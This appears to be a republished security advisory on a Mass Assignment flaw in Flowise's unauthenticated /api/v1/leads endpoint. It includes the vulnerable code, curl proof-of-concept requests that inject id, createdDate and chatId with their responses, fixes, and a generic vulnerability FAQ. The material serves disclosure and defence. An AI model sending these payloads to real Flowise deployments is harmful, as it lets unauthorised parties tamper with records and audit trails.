A Mass Assignment vulnerability in the /api/v1/leads endpoint allows any unauthenticated user to control internal entity fields (id, createdDate, chatId) by including them in the request body.
The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.
| Field | Value |
|-------|-------|
| Vulnerability Type | Mass Assignment |
| CWE ID | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| Authentication Required | None |
| Affected Endpoint | POST /api/v1/leads |
The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:
// File: /packages/server/src/services/leads/index.ts
// Lines 23-38
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
Object.assign(newLead, body) // ← VULNERABILITY: All properties copied!
Object.assign(newLead, { chatId })
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including:
id - The primary key (should be auto-generated)createdDate - The creation timestamp (should be auto-generated)chatId - The chat identifierThe Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:
// File: /packages/server/src/database/entities/Lead.ts
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid') // Should be auto-generated!
id: string
@Column()
name?: string
@Column()
email?: string
@Column()
phone?: string
@Column()
chatflowid: string
@Column()
chatId: string
@CreateDateColumn() // Should be auto-generated!
createdDate: Date
}
However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.
The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:
// File: /packages/server/src/utils/constants.ts
// Line 20
export const WHITELIST_URLS = [
// ... other endpoints ...
'/api/v1/leads', // ← No authentication required
// ... more endpoints ...
]
<img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" />
Create a docker-compose.yml:
services:
flowise:
image: flowiseai/flowise:latest
restart: unless-stopped
environment:
- PORT=3000
- DATABASE_PATH=/root/.flowise
- DATABASE_TYPE=sqlite
- CORS_ORIGINS=*
- DISABLE_FLOWISE_TELEMETRY=true
ports:
- '3000:3000'
volumes:
- flowise_data:/root/.flowise
entrypoint: /bin/sh -c "sleep 3; flowise start"
volumes:
flowise_data:
Start the container:
docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping
First, create a normal lead to see expected behavior:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "normal-chatflow-123",
"name": "Normal User",
"email": "normal@example.com",
"phone": "555-0000"
}'
Expected Response (normal behavior):
{
"id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
"name": "Normal User",
"email": "normal@example.com",
"phone": "555-0000",
"chatflowid": "normal-chatflow-123",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:39.000Z"
}
Note: The id and createdDate are auto-generated by the server.
Now inject a custom id:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "attacker-chatflow-456",
"name": "Attacker",
"email": "attacker@evil.com",
"phone": "555-EVIL",
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
}'
Actual Response (vulnerability confirmed):
{
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"name": "Attacker",
"email": "attacker@evil.com",
"phone": "555-EVIL",
"chatflowid": "attacker-chatflow-456",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:40.000Z"
}
⚠️ The attacker-controlled id was accepted!
Inject a fake createdDate:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "timestamp-test-789",
"name": "Time Traveler",
"email": "timetraveler@evil.com",
"createdDate": "1970-01-01T00:00:00.000Z"
}'
Actual Response (vulnerability confirmed):
{
"id": "some-auto-generated-uuid",
"name": "Time Traveler",
"email": "timetraveler@evil.com",
"chatflowid": "timestamp-test-789",
"chatId": "auto-generated-uuid",
"createdDate": "1970-01-01T00:00:00.000Z"
}
⚠️ The attacker-controlled timestamp from 1970 was accepted!
Inject multiple fields at once:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "any-chatflow-attacker-wants",
"name": "Mass Assignment Attacker",
"email": "massassign@evil.com",
"phone": "555-HACK",
"id": "11111111-2222-3333-4444-555555555555",
"createdDate": "2000-01-01T12:00:00.000Z",
"chatId": "custom-chat-id-injected"
}'
Actual Response (vulnerability confirmed):
{
"id": "11111111-2222-3333-4444-555555555555",
"name": "Mass Assignment Attacker",
"email": "massassign@evil.com",
"phone": "555-HACK",
"chatflowid": "any-chatflow-attacker-wants",
"chatId": "custom-chat-id-injected",
"createdDate": "2000-01-01T12:00:00.000Z"
}
⚠️ ALL three internal fields (id, createdDate, chatId) were controlled by the attacker!
The exploit succeeds because:
id field contains attacker-controlled UUIDcreatedDate field contains attacker-controlled timestampchatId field contains attacker-controlled string| Scenario | Impact |
|----------|--------|
| ID Collision Attack | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |
| Audit Trail Manipulation | Attacker sets fake createdDate values to hide malicious activity or manipulate reporting |
| Data Integrity Violation | Internal fields that should be server-controlled are now user-controlled |
| Chatflow Association | Attacker can link leads to arbitrary chatflows they don't own |
While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:
Only copy explicitly allowed fields from the request body:
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
// ✅ Only copy allowed fields
const allowedFields = ['chatflowid', 'name', 'email', 'phone']
for (const field of allowedFields) {
if (body[field] !== undefined) {
newLead[field] = body[field]
}
}
newLead.chatId = chatId
// Let TypeORM auto-generate id and createdDate
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
const createLead = async (body: Partial<ILead>) => {
try {
// ✅ Only extract allowed fields
const { chatflowid, name, email, phone } = body
const chatId = body.chatId ?? uuidv4()
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create({
chatflowid,
name,
email,
phone,
chatId
// id and createdDate will be auto-generated
})
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
Add decorators to the Lead entity to exclude sensitive fields from assignment:
import { Exclude } from 'class-transformer'
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid')
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
id: string
// ... other fields ...
@CreateDateColumn()
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
createdDate: Date
}
Consider applying the same fix to other endpoints that use Object.assign() with request bodies, such as:
/packages/server/src/utils/addChatMessageFeedback.ts (similar pattern)| Software | From | Fixed in |
|---|---|---|
flowise
|
- | 3.0.13 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.